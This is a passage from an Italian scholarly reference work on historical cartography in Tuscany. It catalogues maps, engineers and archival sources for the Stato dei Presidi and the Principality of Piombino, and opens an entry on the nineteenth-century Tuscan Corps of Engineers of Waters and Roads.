Pianta della Bandita del Tricosto (redatta nel 1715 dal capitano ingegnere don Francesco Marinelli), copia di Joseph Bardet de Villanuova, 1754 (in ASF, Segreteria di Finanze ante 1788, f. 722, n. 6);
Pianta della Bandita del Tricosto (redatta nel 1715 dal capitano ingegnere don Francesco Marinelli), copia di Giovanni Castelnuovo Landini, 1792 (in ISCAG, XVII.C.1228);
Carte topografiche con rilievi in planimetria e in alzato di 12 strutture fortificate dei Presidios, Giuseppe Oudar, comandante del Forte Stella e sargente invalido, seconda metà del XVIII secolo (in ISCAG, XVIII.A.1239, 1241, 1244, 1250, 1254, 1276, 1279, 1283, 1289; e ASN, Sezione militare. Segreteria di Guerra, f. 23, inc. 7);
Pianta del magazzino di Orbetello, Giuseppe Oudar, 1784 (in ASN, Sezione militare. Segreteria di Guerra, f. 23, inc. 1);
Carta generale anonima dei Presidios, seconda metà del XVIII secolo (in ISCAG, XVIII.C.1306 e in BNN, Ba.4b, 45);
Pianta di Orbatello, prima metà del XVII secolo (in ISCAG, IV.C.298bis);
Plano de la Plaza de Orbitelo con su proyetto, prima metà del XVIII secolo (in ISCAG, IV.C.296: altre più o meno coeve hanno segnature IV.C.293; IV.C.295; IV.C.297; XVIII.C.1301; XVIII.C.1310);
Pianta della R. E. Piazza d’Orbetello ne’ Presidi di Toscana, Giuseppe Maria Curiel, 1799 (in BNN, Ba.21b, 82);
Plano de la Plaza di Puerto Ercules y Castillos incontornos, 1737 circa (in BNN, Ba.4b, 43);
Mappe di Forte Filippo e dintorni e di Port’Ercole e dintorni, seconda metà del XVIII secolo (rispettivamente in ASN, Sezione militare. Segreteria di Guerra, f. 23, inc. 2, cc. 12-13 e 14-15; e BNN, Ba23, 14; e Ba.25°, 110);
Piano de la Plaza de Puerto Longon come esta presentemente del 1753 (in BNN, Ba.25b, 140);
Piano della Marina immediata, alla Piazza di Longone, in cui si dimostrano tutte le abitazioni, ed altri edifici che vi esistono, Luigi Alessandro Dumontier, 1782 (in ASN, Sezione militare. Segreteria di Guerra, f. 22, inc. I, cc. 5-6);
Pianta del confine giurisdizionale concordato fra i Regi Presidj, Stato di Napoli e il Granducato di Toscana, ingegneri Luigi Kindt, per il Granducato, e Giovanni Castelnuovo Landini e Giuseppe Maria Curiel, per il Regno di Napoli, 1792 (in ASF, Confini, scaff. I, palch. 11, cannone della sez. XXXVIII, tubi 3 e 5; e in ASN, Fondo Piante, cartella 30, nn. 1-5; e in ISCAG, XXXVIII.3.1);
Pianta d’una parte del Monte Argentale con la laguna orbetellana, Giuseppe Maria Curiel, 1800 (in ISCAG, F.785).

Operatori

Domenico Giannelli, ingegnere senese (1571-72); Francesco Marinelli, capitano ingegnere (1715); Joseph Bardet de Villanuova, ingegnere (1754); Luigi Alessandro Dumontier (1782); Giuseppe Oudar, sargente invalido e comandante del Forte Stella (1784); Giovanni Castelnuovo Landini, ingegnere (1792); Giuseppe Maria Curiel, ingegnere (1792-1800).

Riferimenti bibliografici e archivistici

Caciagli, 1972; Rombai e Ciampi, 1979; Rombai, a cura di, 1980; De Vita, 1980; Ferretti, a cura di, 1982; Principe, a cura di, 1982; Principe, 1988; Coppi e Rombai, 1988; Guarducci, 2000; Rossi, 2000; Tognarini, 1987. I maggiori corpi documentari sono conservati in diversi fondi dell’ASN e della BNN, dell’ISCAG e dell’Archivio di Simancas.

Leonardo Rombai (Siena)

Amministrazione del Principato di Piombino (1399-1814) (Granducato di Toscana)

Nel 1399, gli Appiani strapparono alla Repubblica di Pisa la parte meridionale dell’antica Maremma Pisana (in pratica, le basse vallate di Cornia e Pecora con gli attuali Comuni di Piombino, Suvereto, Follonica e Scarlino, e con l’exclave separata di Buriano in Val di Bruna), insieme con l’Elba e le altre isole minori di Pianosa e Montecristo.
Durante i secoli XV e XVI, gli Appiano vi crearono un piccolo ma bene organizzato Stato moderno che traeva risorse basilari nell’estrazione e nella lavorazione dell’allume di Montioni e soprattutto dei minerali di ferro dell’Elba, e che – nel corso dei secoli – fino alla dominazione napoleonica venne trasmesso ereditariamente prima agli Aragona Appiani, e poi ai Ludovisi e ai Boncompagni Ludovisi, pressoché integralmente (con l’eccezione dei due lembi elbani con le nuove fortezze di Portoferraio e Longone oggi Porto Azzurro, che nel XVI passarono rispettivamente al Granducato e ai Presidios spagnoli di Orbetello). Nel 1805, però, Napoleone – che già dal 1801 aveva occupato il Principato di Piombino – decise di mantenere alla Francia il controllo diretto delle isole e di affidare la parte continentale, il Piombinese, alla sorella Elisa Bonaparte e al di lei consorte Felice Baciocchi, già investiti del governo dell’antico Stato di Lucca, con il titolo di Principi di Lucca e Piombino.
Nel 1814, con la caduta di Napoleone e con il Congresso di Vienna, tutto il territorio (continentale e insulare) dell’antico Principato fu annesso al restaurato Granducato di Toscana dei Lorena.
Nonostante l’organizzazione burocratica creata a Piombino fin dai tempi rinascimentali, non è documentata la presenza di operatori tecnici e di cartografi nell’amministrazione statale piombinese fino al XVIII secolo inoltrato.
Infatti, a quanto è dato sapere, la prima attestazione di un ingegnere piombinese riguarda Giustino Lombardo e il 1730, con il disegno di una mappa del fiume Bruna e del territorio circostante (con l’exclave piombinese di Buriano), insieme con il confine tra i due Stati (conservata in ASF, Magona. Appendice II, f. 48, mazzo n. 1: cfr. Quattrucci, 1994, p. 120).
Forse anche Giuseppe Baldesi, autore nel 1738 di una memoria sulle ferriere del Piombinese e sui lavori necessari per la loro messa in funzione (Archivio Segreto Vaticano, Boncompagni, n. 392, 11: cfr. Rombai e Tognarini, 1986, p. 61), fu un ingegnere.
Ma occorre attendere l’inizio degli anni ’70 perché compaia un tecnico stabilmente inquadrato a tempo pieno nell’amministrazione del Principato.
Almeno dal 1771 al 1804 tale operatore ha il nome del capitano ingegnere Giacomo Benassi (che si firma come “Ingegnere di Sua Eccellenza”), che sarà assai attivo soprattutto nell’ambito dei lavori della Deputazione toscano-piombinese che, nel 1779-85, fu incaricata di misurazioni e visite ai confini controversi fra Granducato e Principato, e coordinata dai matematici Leonardo Ximenes e Teodoro Bonaiuti, con vari ingegneri toscani e piombinesi al seguito (per il primo Stato Filippo Grobert e Alessandro Nini, per il secondo, oltre a Benassi, Stefano Pasi): gli ingegneri redassero materialmente, in modo collegiale, le numerose e impegnative piante per le varie aree interessate, e precisamente quelle della Val di Cornia, della Val di Pecora, della valle dell’Alma e di Gualdo, della sezione nord-occidentale della pianura di Grosseto tra la Bruna e il lago di Castiglione (ASF, Miscellanea di Piante, 9, 37, 58, 297/b-c, 408, 501, 503, 506-507, 513-536, 543-545, 764; e Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, n. 1576/1) (cfr. Barsanti e Rombai, 1987, p. 190; e Rombai, Toccafondi e Vivoli, 1987, p. 387).
Al di là di tale importante impegno, sappiamo che Benassi nel 1771-78 aveva disegnato una mappa geometrica, con tanto di perizia, di una piccola area interessata allo scavo della Pecora nello Scarlinese, e un altro disegno progettuale per la costruzione di un capannone a Scarlino destinato a “fabbrica della polvere”; altri scritti tecnici interessarono la steccaia sul fiume Cornia, gli edifici delle torri di Torremozza e Baratti, la chiesa di Marina di Campo, l’affitto di boschi statali a Suvereto e Scarlino (ASF, Magona. Appendice II, f. 57, mazzo n. 10: cfr. Quattrucci, 1994, p. 122).
Ancora, nel 1772 Benassi disegnò la Pianta della miniera del ferro nell’isola dell’Elba (ASV, Boncompagni, XIII, 392-16); e nel 1772-73 Benassi redasse varie perizie sui beni forestali di Valle, sui più diversi problemi (anche di confinazione col Granducato) dei territori di Suvereto, Vignale, Scarlino e Buriano con la torre del Barbiere a Gualdo oggi Puntala e la steccaia della Ronna che alimentava l’industria di Follonica (ASF, Magona. Appendice II, f. 53, mazzo n. 11: cfr. Quattrucci, 1994, p. 121).
Nel 1788 scrisse un dettagliato inventario degli stabili, con relative masserizie, esistenti nello stabilimento siderurgico di Follonica, mentre nel 1800 stilò – insieme all’altro ingegnere Giuseppe Antonio Pellegrini – perizie per restaurare alcuni degli stabili di Follonica con la gora di alimentazione e la steccaia di derivazione delle acque, con tanto di presenza in sede di esecuzione dei lavori (Rombai e Tognarini, 1986, pp. 49-50).
Da notare che il Pellegrini fu autore nel 1794 di una perizia con disegno planimetrico dello stabilimento di Follonica (ASF, Piombino, 632, c. 87: cfr. Rombai e Tognarini, 1986, p. 118).
Dunque, almeno nel 1794, al suo tramonto, l’antico Stato Piombinese aveva al suo servizio due ingegneri: Benassi e Pellegrini.
Ma è negli anni seguenti, sotto la dominazione francese che la vicenda della cartografia del Principato di Piombino appare ancora più significativa.
Già nel 1804 Benassi poté costruire la Carte de la Principauté de Piombino, una rappresentazione generale non geometrica, ma con dettaglio tale da comprendere tutti gli edifici (anche isolati) allora esistenti.
Nel 1808, pure l’altro ingegnere del Principato Giuseppe Antonio Pellegrini fece una nuova figura limitata al territorio costiero, Principato di Piombino. Pianta dei Paduli di Piombino, Torre Mozza e Scarlino contenente numerosi valori di distanze e coordinate geografiche. Nel 1810 vennero intensificati i lavori di rilevamento geometrico-topografico, correlati alle operazioni catastali, utilizzati anche per la compilazione di una nuova carta del Principato, Principato di Piombino, che fu portata a compimento dal Pellegrini nel 1813, con risultati decisamente migliori, se non ancora compiutamente geometrici, rispetto ai prodotti precedenti (Guarducci, 2001, pp. 542-560; Quaini, Rombai e Rossi, 1995; e Tognarini, 1995, pp. 57-66).
Il nuovo governo dei Baciocchi provvide realmente a prendere in considerazione i problemi territoriali, come dimostrano gli interventi concreti alla via costiera della Principessa, con la costruzione del tratto Piombino-Torrenuova, per il cui progetto (con disegni e profili) del 1810 fu incaricato l’esperto ingegnere dell’amministrazione napoleonica e del Principato di Lucca Giacinto Garella (in ASP, Piante dell’Ufficio Fiumi e Fossi, n. 30), oltre che a varie strade dello Scarlinese per Massa Marittima e il Puntone, allo stabilimento siderurgico follonichese e all’allumiera e insediamento principesco con bagno termale di Montioni, e come dimostra soprattutto il problema della bonifica delle paludi costiere per finalità di risanamento igienico-ambientale e di sviluppo dell’agricoltura e del popolamento. Infatti, gli acquitrini del piombinese non erano stati interessati – come invece era avvenuto in vari settori della Maremma granducale a nord e a sud del Principato – da interventi di bonifica nel corso del XVIII secolo, finalizzati al recupero delle zone umide per la coltivazione; tale inazione si spiega soprattutto con il fatto che queste aree erano funzionali agli ordinamenti cerealicolo-pastorali estensivi che incardinavano i latifondi dei Desideri, Franceschi e altri grandi proprietari locali (Rombai, 1995, pp. 47-56; e Tognarini, 1995, p. 62).
Emblematico dell’attenzione nuova per il problema del paludismo è il decreto sul riassetto amministrativo del 15 maggio 1807 che prevedeva pure la bonifica, nel breve arco di un biennio, dei diversi acquitrini del Piombinese, da finanziare con una “fondiaria imposizione su tutti i proprietari”, oltre alla costruzione di una strada litoranea tra Piombino e Follonica con tanto di ponte sul fiume Cornia. Scrive Ivan Tognarini che “già dal gennaio di quello stesso anno” era stato approntato un piano di prosciugamento – evidenziato anche in due dettagliate, precise e innovative cartografie dei comprensori interessati, redatte però non dai due ingegneri piombinesi ma da operatori del corpo del genio militare imperiale nel 1806-07 (Plan du Grand Marais de la Principauté de Piombino e Project de desséchment du grand marais de Piombino, che quindi ne costituiscono l’imprescindibile base progettuale – imperniato sul metodo della colmata e dell’essiccazione mediante canali, con inondazione graduale e sistematica dei terreni palustri e con l’arginazione di fossi e fiumi (Rombai, Toccafondi e Vivoli, 1987, pp. 206-207.).
A questa serie appartengono pure altre figure coeve funzionali agli incanalamenti fluviali e alla costruzione delle arginature per le colmate che inquadrano un territorio più esteso rispetto a quello ricoperto dagli acquitrini, come la Carta del corso del fiume Cornia nella pianura di Campiglia, e nell’inferior territorio del Principato di Piombino del 1806, e la Pianta approssimativa delle Paludi di Piombino, redatta dal non altrimenti noto capitano Bechi e senza data.
Tutte queste carte e soprattutto quelle riferite ai comprensori al centro dell’interesse visualizzano le critiche condizioni idrauliche della bassa Val di Cornia tra Poggio alle Forche e Torre Mozza, con i suoi ambienti maremmani ricoperti in grandissima parte da acquitrini, boscaglie e incolti a pastura, con piccole isole a coltura cerealicola punteggiate da rade sedi rurali (Frangiana, Paduletto, Carlappiana, Vinarcha, Poggio S. Mommè), con il progetto di bonifica e di canalizzazione al mare del fiume Cornia, sulla cui foce si doveva costruire un ponte a tre archi in corrispondenza dell’antica via dei Cavalleggeri tra Piombino e Follonica (Rombai, 1995, pp. 51-52).
Questo progetto di radicale trasformazione territoriale non rimase sulla carta. Nel 1808, infatti, con un decreto specifico, venne presa la decisione di concedere le tre zone umide di Piombino, Torre Mozza e Scarlino ad un impresario, il Vidal, che avrebbe dovuto operare la colmata delle zone umide a tutte spese dello Stato, che avrebbe poi richiesto ai proprietari un contributo sulla base dell’incremento del valore dei terreni prodotto dalla bonifica.
Ma il tentativo di Vidal non arrivò a produrre risultati rilevanti, anche se nel 1809 uno dei nuovi ingegneri del Principato, Flaminio Chiesi (che probabilmente aveva sostituito il vecchio Benassi), elaborò il progetto della pescaia sul fiume Cornia, e nel 1811 i lavori, tra l’opposizione della grande proprietà fondiaria con alla testa i Franceschi, poterono iniziare e svolgersi fino alla caduta di Napoleone, sotto la direzione di Chiesi e Pellegrini. Di sicuro, fu effettuata l’escavazione da parte del Genio Imperiale del fosso della Sdriscia, che avrebbe dovuto deviare le acque torbide fluviali nel paduletto di Campo all’Olmo, venne parzialmente arginato il fiume Cornia e vennero costruiti ponti in legno alle foci del Cornia e del Pecora (Tognarini, 1995, pp. 60-61).
Ai Baciocchi deve essere riferito anche il progetto di porto canale alla foce dello Stagno e Padule di Scarlino in località Puntone che è evidenziato mediante una nitida planimetria disegnata dall’architetto francese Louis Guizot nel 1805-1807 (ASF, Piombino Appendice II, 11, ins. 2: cfr. Rombai e Tognarini, 1986, p. 81), per costruire uno scalo sicuro, con due lunghi moli da erigere pressoché esclusivamente all’interno della zona umida e nel poco profondo tombolo, in funzione soprattutto delle esigenze commerciali dello stabilimento siderurgico statale di Follonica. Il progetto venne fatto esaminare dal ben noto Matematico Regio fiorentino Pietro Ferroni che il 12 luglio 1807, secondo il suo metodo sistematico di procedere, ne scrisse un’articolata memoria col titolo di Voto imparziale, e sottotitolo di Osservazioni sopra il Progetto di riduzione a porto del Punton di Scarlino, nella quale egli giudica poco conveniente la costruzione del porto canale “a maggior comodo, e vantaggio del Forno, Ferriera e magazzini adiacenti della Follonica”, perché la sua accessibilità da parte dei bastimenti sarebbe stata continuamente messa a rischio dall’insabbiamento prodotto “dai flutti marini”, come ben dimostrava l’esperienza del “vicin porto canale di Castiglione della Pescaia” (Rombai, 1995, pp. 52-53; e Pellegrini, 1984).
A partire dal 1809 e fino al 1814, le innumerevoli perizie a fabbriche, strade e corsi d’acqua (con ponti e steccaie del Principato) portano regolarmente la firma dell’ingegner Chiesi – anche se dal 1805 compare pure un nuovo aiuto, Angelo Benassi, forse figlio di Giacomo – a partire dal progetto con quattro piante e alzati della Steccaia sul Fiume Pecora del 1809 (ASF, Piombino Appendice II, 11, ins. 2: cfr. Rombai e Tognarini, 1986, pp. 76-81).

Produzione cartografica

Mappa del fiume Bruna e del territorio circostante (con l’exclave piombinese di Buriano) al confine tra i due Stati, ingegnere Giustino Lombardo, 1730 (ASF, Magona. Appendice II, f. 48 mazzo n. 1);
Pianta della miniera del ferro nell’isola dell’Elba, ingegnere Giacomo Benassi, 1772 (ASV, Boncompagni, XIII, 392-16);
Carte de la Principauté de Piombino, ingegnere Giacomo Benassi, 1804 (SHAT, Cartes et Plans, M.13.C, carta n. 27);
Pianta topografica generale del corso nuovo e vecchio del fiume Ampio e sue adiacenze, e della nuova e vecchia confinazione tra lo Stato di Toscana e il Principato di Piombino, fine del sec. XVIII (ASF, Miscellanea di Piante, n. 9);
Pianta dalla confluenza della Milia nella Cornia fino all’estremo termine giurisdizionale fra la Sassetta e Suvereto, Alessandro Nini e Giacomo Benassi, 28 maggio 1783 (ASF, Miscellanea di Piante, n. 37);
Pianta della confinazione del Marchesato di Castiglioni col Principato di Piombino, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 58);
Pianta topografica di una parte del corso del Torrente Alma, e del Fosso della Zinghera, e dei Fossetti che mettono in essi, con i Poggi dai quali derivano, e loro adiacenze, formata dagl’Ingegneri Toscani e Piombinesi per la questione presente di Confinazione fra il Granducato di Toscana et il Principato di Piombino nel mese di Marzo del 1781 (ASF, Miscellanea di Piante, n. 297/b);
Pianta topografica di una parte del corso del Torrente Alma, del Fosso della Zinghera, e dei Fossetti che mettono in essi, con i Poggi dai quali derivano, e loro adiacenze, formata dagl’Ingegneri Toscani e Piombinesi per la questione presente di Confinazione fra il Granducato di Toscana et il Principato di Piombino nel mese di Marzo del 1781 (ASF, Miscellanea di Piante, n. 297/c);
Sbozzo di carta confinaria tra gli Stati di Piombino e di Toscana nella valle dell’Alma in Maremma, 9-13 marzo 1781 (ASF, Miscellanea di Piante, n. 408);
Cartone della Tenuta di Pian d’Alma, e luoghi adiacenti per la confinazione di detta Tenuta col territorio del Sig. Principe di Piombino. Anno MDCCLXXVII (ASF, Miscellanea di Piante, n. 190)
Pianta di una parte del corso del Fiume Alma con le sue sorgenti e fossi che mettono in esso, poggi, e loro adiacenze formata per intelligenza della questione di confinazione per quella parte fra il Granducato di Toscana e il Principato di Piombino l’anno 1781 (ASF, Miscellanea di Piante, n. 501);
Confine giurisdizionale tra Granducato di Toscana e Principato di Piombino in Valdibruna presso Buriano, Alessandro Nini e Giacomo Benassi ingegneri, 13 maggio 1783 (ASF, Miscellanea di Piante, n. 503);
Pianta dimostrante il confine tra le tenute di Buriano e Montepescali secondo il Lodo del 1696 ed il Fermato nell’accesso nel 24 Decem. 1725 in occasione della recognizione confinaria nella pianura degli Acquisti tra Granducato e Principato di Piombino, Alessandro Nini Ingegnere, 17 aprile 1783 (ASF, Miscellanea di Piante, n. 506);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino in Val di Pecora nei territori di Massa Marittima e Scarlino, Alessandro Nini e Giacomo Benassi, 21 maggio 1782 (ASF, Miscellanea di Piante, n. 507);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Gualdo, 1785 (ASF, Miscellanea di Piante, n. 513);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Gualdo, Alessandro Nini e Giacomo Benassi ingegneri, 17 aprile 1782 (ASF, Miscellanea di Piante, n. 514);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel Piano della Badia al Fango, Alessandro Nini e Giacomo Benassi ingegneri, 19 marzo 1783 (ASF, Miscellanea di Piante, n. 515);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino dalle steccaie di Pecora e Ronna a Follonica, Alessandro Nini e Giacomo Benassi, 21 maggio 1783 (ASF, Miscellanea di Piante, n. 516);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Campiglia e Suvereto, Alessandro Nini e Giacomo Benassi, 17 maggio 1783 (ASF, Miscellanea di Piante, n. 517);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Tirli, Alessandro Nini e Giacomo Benassi ingegneri, 30 aprile 1782 (ASF, Miscellanea di Piante, n. 518);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino da Tirli al Mulino dell’Ampio, Alessandro Nini e Giacomo Benassi ingegneri, 30 aprile 1782 (ASF, Miscellanea di Piante, n. 519);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Gualdo, Alessandro Nini e Giacomo Benassi ingegneri, 1782 (ASF, Miscellanea di Piante, n. 520);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nella Tenuta di Gualdo, 1782 (ASF, Miscellanea di Piante, n. 521);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Gualdo, [1780] (ASF, Miscellanea di Piante, n. 522);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel Piano della Badia al Fango, Alessandro Nini, 10 maggio 1782 (ASF, Miscellanea di Piante, n. 523);
Pianta dell’andamento del corso presente dei torrenti Ampio e Cortigliano dal Lago di Castiglioni o dell’Abbadiola fino alle radici dei Monti dai quali scendono e parte delle adiacenze di detti torrenti nell’anno 1781, Alessandro Nini, 1781 (ASF, Miscellanea di Piante, n. 524);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Buriano e Montepescali, Alessandro Nini, 5 giugno 1783 (ASF, Miscellanea di Piante, n. 525);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino nel territorio di Buriano e Montepescali, Alessandro Nini e Giacomo Benassi ingegneri, 8 aprile 1783 (ASF, Miscellanea di Piante, n. 526);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino nel territorio dell’Abbadiola e Acquagiusta, Alessandro Nini, 2 giugno 1783 (ASF, Miscellanea di Piante, n. 527);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio dell’Abbadiola e Acquagiusta, Alessandro Nini e Giacomo Benassi ingegneri, 8 aprile 1783 (ASF, Miscellanea di Piante, n. 528);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino dal mulino sull’Ampio a Piano e penisola dell’Abbadiola, Alessandro Nini e Giacomo Benassi ingegneri, 7 aprile 1783 (ASF, Miscellanea di Piante, n. 529);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino in Valdalma, Ferdinando Morozzi e Pietro Paolo Calini (o Casini), seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 530);
Pianta topografica di una parte del corso del fiume Alma o Rio di S. Lucia, del fosso della Zinghera e dei fossetti che mettono in esso, con i poggi dai quali derivano formata dagl’ingegneri toscani e piombinesi per la questione presente di confinazione tra il Granducato di Toscana e il Principato di Piombino, Alessandro Nini e Giacomo Benassi ingegneri, marzo 1781 (ASF, Miscellanea di Piante, n. 531);
Pianta dimostrativa i due Mulini della Zinghera e sue adiacenze, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 532);
Pianta topografica di una parte del Piano d’Alma e di Gualdo, Filippo Grobert e Stefano Pasi, 1779 (ASF, Miscellanea di Piante, n. 533);
Pianta della tenuta di Gualdo dal Padule di Pian d’Alma fino alla Troia e poggi che circondano detta tenuta parte della quale appartiene a S.A.R. i Granduca di Toscana e parte a S.E. i principe di Piombino, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 534);
Pianta topografica di una parte del piano d’ Alma dal ponte di pietra del fiume di detto nome fino alla sommità del Poggio Spada e del Monte d’Alma, formata di concerto da Alessandro Nini e Giacomo Benassi ingegneri di Toscana e di Piombino, 24 maggio 1779 (ASF, Miscellanea di Piante, n. 535);
Confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino da Montecalvi fino alla bassa Valdicornia. III., Alessandro Nini e Giacomo Benassi ingegneri, 1780 ca. (ASF, Miscellanea di Piante, n. 536);
Carta topografica dimostrante la Torre della Troia, stabilimento di S.A.R. il ser.mo Granduca di Toscana, e la Torre del Barbiere del Principato di Piombino con i scali e seni, adiacenti a dette torri, comprese dentro la passata del cannone, Innocenzio Fazzi ingegnere, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 543);
Pianta topografica della tenuta del Gualdo e di parte del Pian d’Alma fatta nell’anno 1779 (ASF, Miscellanea di Piante, n. 544);
Territorio del Gualdo, oggi Punta Ala, in due piante a confronto del 1616 e del 1769, 1780 (ASF, Miscellanea di Piante, n. 545);
Disegno schematico del confine tra lo Stato di Siena con il Territorio di Massa e il Principato di Piombino con il Territorio di Scarlino alla steccaia del Fiume Pecora, Alessandro Nini e Giacomo Benassi, 23 aprile 1782 (ASF, Miscellanea di Piante, n. 764);
Pianta di tutta la linea di confine [tra il Granducato e il Principato di Piombino] dal termine del Dosso d’Arcione allo Scoglietto di Capezzuolo, Alessandro Nini, 1782 (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, n. 1576/1);
Disegno planimetrico dello stabilimento di Follonica, Giuseppe Antonio Pellegrini, 1794 (ASF, Piombino, 632, c. 87);
Principato di Piombino. Pianta dei Paduli di Piombino, Torre Mozza e Scarlino, ingegnere Giuseppe Antonio Pellegrini, 1808 (ASF , Miscellanea di Piante, n. 293 bis/c);
Principato di Piombino, ingegnere Giuseppe Antonio Pellegrini, 1810-13 (Archivio di Stato di Lucca);
Plan du Grand Marais de la Principauté de Piombino, Genio militare imperiale, 1806-07 (ASF, Miscellanea di Piante, n. 278/a);
Project de desséchment du grand marais de Piombino, Genio militare imperiale, 1806-07 (ASF, Miscellanea di Piante, n. 278/b);
Carta del corso del fiume Cornia nella pianura di Campiglia, e nell’inferior territorio del Principato di Piombino, 1806 (ISCAG, E.2047);
Pianta approssimativa delle Paludi di Piombino, capitano Bechi, 1806-07 (ISCAG, E.2044);
Pianta del fiume Cornia con sulla cui foce un progetto di ponte in corrispondenza della via dei Cavalleggeri (ASF, Miscellanea di Piante, n. 278/c);
Pianta con progetto di porto canale alla foce del Puntone dello Stagno-padule di Scarlino, architetto Louis Guizot, 1805-1807 (ASF, Piombino Appendice II, n. 11, ins. 2);
Steccaia sul Fiume Pecora, quattro mappe e alzati, ingegnere Flaminio Chiesi, 1809 (ASF, Piombino Appendice II, 11, ins. 2);
Progetto (con disegni e profili) della via della Principessa da Piombino a Torrenuova, Giacinto Garella, 1810 (in ASP, Piante dell’Ufficio Fiumi e Fossi, n. 30).

Operatori

Giustino Lombardo ingegnere (1730), Giacomo Benassi ingegnere (1771-1804), Stefano Pasi ingegnere (1779-85), Giuseppe Antonio Pellegrini ingegnere (1794-1813), Bechi capitano del Genio militare (1806-07), Louis Guizot (1805-07), Giacinto Garella (1810), Flaminio Chiesi ingegnere (1809-14), Angelo Benassi (1805-14).

Riferimenti bibliografici e archivistici

Guarducci, 2000; Rossi, 2000; Guarducci, 2001; Orefice, 2002; Pellegrini, 1984; Quaini, Rombai e Rossi, 1995; Quattrucci, 1994; Rombai, 1995; Rombai, Toccafondi e Vivoli, 1987; Rombai e Tognarini, 1986; Rombai e Vivoli, 1996, pp. 156-157; Tognarini, 1987; Tognarini, 1995. Molti documenti sono in ASF, Piombino; ASF, Piombino Appendice II; ASF, Magona; ASF, Miscellanea di Piante; ASV, Boncompagni; ASL, Piombino; ISCAG; SHAT.

Anna Guarducci, Leonardo Rombai (Siena)

Acque e strade (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade (1825-1834)
Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto (1834-1849)
Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato (1849-1862)
Genio Civile (1862-ad oggi)

La nascita nel 1825 del Corpo degli Ingegneri è “la prova della volontà del granduca di inaugurare una politica di interventi globali” (Giuntini, 1989, p. 404): di sicuro, essa dette un violento scossone al sistema di formazione e di reclutamento degli ingegneri. Con esso, veniva abbandonato il vecchio modo di operare, basato sull’empirismo e su di un’istruzione prevalentemente classico-umanistica e architettonica, in nome di una visione riflettuta e lungimirante dell’impegno sul territorio che assegnava un ruolo basilare all’istruzione tecnica (assimilata anche mediante il costante collegamento, con letture e viaggi, con le scoperte europee) per risolvere i problemi impiantistico-strutturali e legati specialmente alla realizzazione delle opere tecnico-territoriali.
Per quanto il primo direttore del Corpo degli Ingegneri sia stato il giovane matematico dello Studio Pisano Giovanni Frullani (con nel Consiglio degli Ingegneri altre personalità tecniche di spicco come l’architetto Giuseppe Del Rosso e il matematico Gaetano Giorgini), il vero ispiratore dell’operazione fu Alessandro Manetti: egli ne dettò anche il regolamento che in larga parte si ispirava al Corp des Ingénieurs des ponts et chaussées in cui il giovane fiorentino aveva militato nel 1809-14.
Al vertice del Corpo stava dunque il Consiglio degli Ingegneri che faceva capo alla Soprintendenza alla Conservazione del Catasto e al Corpo degli Ingegneri di Acque e Strade. La Soprintendenza era presieduta dal detto Consiglio e costituita dal Corpo degli Ispettori e Sottoispettori dei quattro Compartimenti (o Camere di Soprintendenza Comunitativa di Firenze, Pisa, Siena e Grosseto) e dai 37 ingegneri degli altrettanti Circondari che accorpavano ciascuno varie Comunità, con il compito di sottoporre all’esame delle autonomie locali tutti i lavori relativi a strade, corsi d’acqua e paduli e fabbricati.
Il 31 dicembre 1834 il Corpo venne trasformato nell’autonoma Direzione del Corpo degli Ingegneri di Acque e Strade, con la direzione (comprendente anche quella del Consiglio degli Ingegneri) assunta dal Manetti. Con tale innovazione, i compiti relativi ai lavori pubblici vennero disgiunti da quelli catastali, in quanto fu contestualmente creato l’Imperiale e Reale Uffizio per la Conservazione del Catasto che doveva gestire questo importante servizio fiscale.
Di fatto, solo nel 1833 gli accessi e i titoli di formazione cominciarono ad essere regolamentati in senso specialistico e restrittivo, a partire dall’ammissione subordinata al superamento di un esame. Con Notificazione del 4 aprile 1845 si richiese poi all’aspirante ingegnere non solo la laurea (divenuta obbligatoria colla Notificazione del 26 settembre 1838) ma anche un perfezionamento biennale da farsi presso la fiorentina Accademia di Belle Arti.
